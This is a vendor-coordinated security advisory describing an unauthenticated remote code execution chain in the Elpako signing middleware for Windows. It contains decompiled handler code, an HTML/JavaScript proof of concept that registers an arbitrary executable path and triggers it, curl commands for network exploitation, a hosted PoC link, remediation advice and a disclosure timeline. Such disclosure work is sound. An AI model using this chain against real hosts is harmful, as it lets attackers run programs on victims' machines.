Elpako is local cryptographic middleware software that bridges web-based signing applications to USB tokens or ID card readers via PKCS#11 and PC/SC, enabling qualified electronic signatures using hardware-backed cryptographic elements. Elpako v3.3.6 for Windows, and likely prior versions, contain a vulnerability chain that enables Remote Code Execution on Windows hosts running the Elpako Root daemon. Mac and Linux versions may also be affected, but they have not been tested. The attack requires no authentication and can be triggered from a malicious website. In certain browser configurations, the victim may need to approve Browser Local Network Access prompts, though the exploit could likely be optimized to bypass these prompts or reduce their impact. Successful exploitation allows an attacker to execute arbitrary programs in the context of the logged-in user. Additionally, because the daemon listens on port 38888 bound to 0.0.0.0, systems with firewall configurations that allow access to this port may be exploitable remotely without user interaction, such as from the same network.
File: Nevda.Epk.Local.Root.dll (the Root daemon / API server)
Endpoints: /Handshake/Child and /Handshake/Browser
Process spawning: ProcessExtensions.StartProcessAsCurrentUser() in Nevda.Epk.Local.Root.Helpers
Listening: https://0.0.0.0:38888 (all interfaces, HTTPS with bundled self-signed cert 127.0.0.1.pfx)
The RCE exploit chains two API endpoints that, individually, have limited impact but together form a complete attack:
/Handshake/Child โ Child Registration (Step 1)[HttpGet("Child")]
public IActionResult Child(string name, int port, string path, int pid)
{
// Stores child info in daemon memory โ no validation, no auth
global::\u00a0.\u2000.\u00a0(name, port, path, pid);
return Ok(...);
}
This endpoint registers a "child" process entry in the daemon's in-memory registry. The path parameter is stored verbatim and will later be passed to CreateProcessAsUser() as the lpApplicationName argument. No authentication, no path validation, no allowlisting.
/Handshake/Browser โ Child Trigger (Step 2)[EnableCors("LocalSignCorsPolicy")]
[HttpGet("Browser")]
public IActionResult Browser()
{
string text = /* get first registered child name */;
// Calls GetClientWithAvailabilityCheck(childName, runChild: true)
if (GetClientWithAvailabilityCheck(text, runChild: true) == null)
{
// Retry with different child
}
return Ok(text);
}
This endpoint calls GetClientWithAvailabilityCheck("text", runChild: true), which first attempts to connect to the child process over IPC at localhost:port. Since no real child process is running, the connection fails, causing the daemon to call StartChild():
public IpcServiceClient<IChildrenActionContract> GetClientWithAvailabilityCheck(
string childName, bool runChild = false)
{
// Look up registered child by name
var childInfo = /* find child by name */;
try
{
// Try IPC connection to child
var client = new IpcServiceClientBuilder<...>()
.UseTcp(IPAddress.Loopback, port)
.Build();
if (task.Wait(TimeSpan.FromMilliseconds(5000.0)))
{
return client;
}
// Timeout โ fall through
}
catch (TimeoutException)
{
if (runChild && retryCount < 5)
{
ProcessExtensions.TryKillByPid(childInfo.Pid);
StartChild(childName, childInfo); // โ RCE HERE
// Recursive retry ...
}
}
catch (AggregateException) // "connection refused" = no child running
{
if (runChild)
{
StartChild(childName, childInfo); // โ RCE HERE
}
}
}
This then invokes ProcessExtensions.StartProcessAsCurrentUser(path) to start the child process as the current user:
private void StartChild(string childName, ChildInfo info)
{
if (!string.IsNullOrEmpty(info.Path))
{
// Passes attacker-controlled path directly to Win32 API
ProcessExtensions.StartProcessAsCurrentUser(info.Path);
}
}
The daemon runs as SYSTEM (Windows Service), but the spawned process runs in the logged-in user's desktop session with their privileges and environment:
public static bool StartProcessAsCurrentUser(string appPath, ...)
{
// Gets user token from active Windows session
IntPtr hToken = GetUserToken(); // WTSEnumerateSessions + WTSQueryUserToken
DuplicateTokenEx(hToken, ...); // Duplicate for CreateProcessAsUser
CreateEnvironmentBlock(...); // User's environment variables
// EXECUTES THE ATTACKER-CONTROLLED PATH AS THE LOGGED-IN USER
CreateProcessAsUser(hDupToken, appPath, cmdLine, ...);
}
A victim visits a malicious site controlled by the attacker while Elpako is running on the victimโs system. Depending on the browser, the victim may need to approve browser Local Network Access (LNA) prompts for the attack to proceed.
<!-- Step 1: Register child with malicious path (no CORS check needed) -->
<img src="https://127.0.0.1:38888/Handshake/Child?name=test&port=4444&path=calc.exe&pid=9999">
<!-- Step 2: Trigger execution (CORS-enabled endpoint) -->
<script>
fetch('https://127.0.0.1:38888/Handshake/Browser', {
mode: 'cors',
credentials: 'include'
})
</script>
Since the daemon listens on 0.0.0.0:38888, any machine on the network can directly (in non-default Windows Firewall configurations that allow access to this port) call the API:
# Register child
curl -k "https://target:38888/Handshake/Child?name=test&port=4444&path=calc.exe&pid=9999"
# Trigger execution
curl -k "https://target:38888/Handshake/Browser"
The identified RCE vulnerability can be tested by visiting the provided URL from a system running the Elpako software and clicking the button on the web page. Successful execution of the proof of concept code launches calc.exe.
https://critical.lt/elpako/elpako_poc_calc.html
It's recommended to eliminate the externally triggered child registration and launch flow entirely so neither /Handshake/Child nor /Handshake/Browser is required to start or recover child processes. Child executable paths should be resolved only from a server-side allowlist of trusted, signed binaries in protected installation directories, and child startup or restart should be handled internally by the daemon using validated daemon-owned state rather than externally supplied registration data.
2026-06-25 โ Contacting Nevda regarding security vulnerability
2026-06-26 โ Vendor acknowledges the vulnerability
2026-07-27 โ Contacting Nevda regarding patch status
2026-07-27 โ Patch confirmed by the vendor
Critical Security was established in 2007 by a group of cyber security enthusiasts. Since its establishment, the company has been providing high-quality security assessments and penetration tests to various organizations, helping them identify and mitigate potential security threats.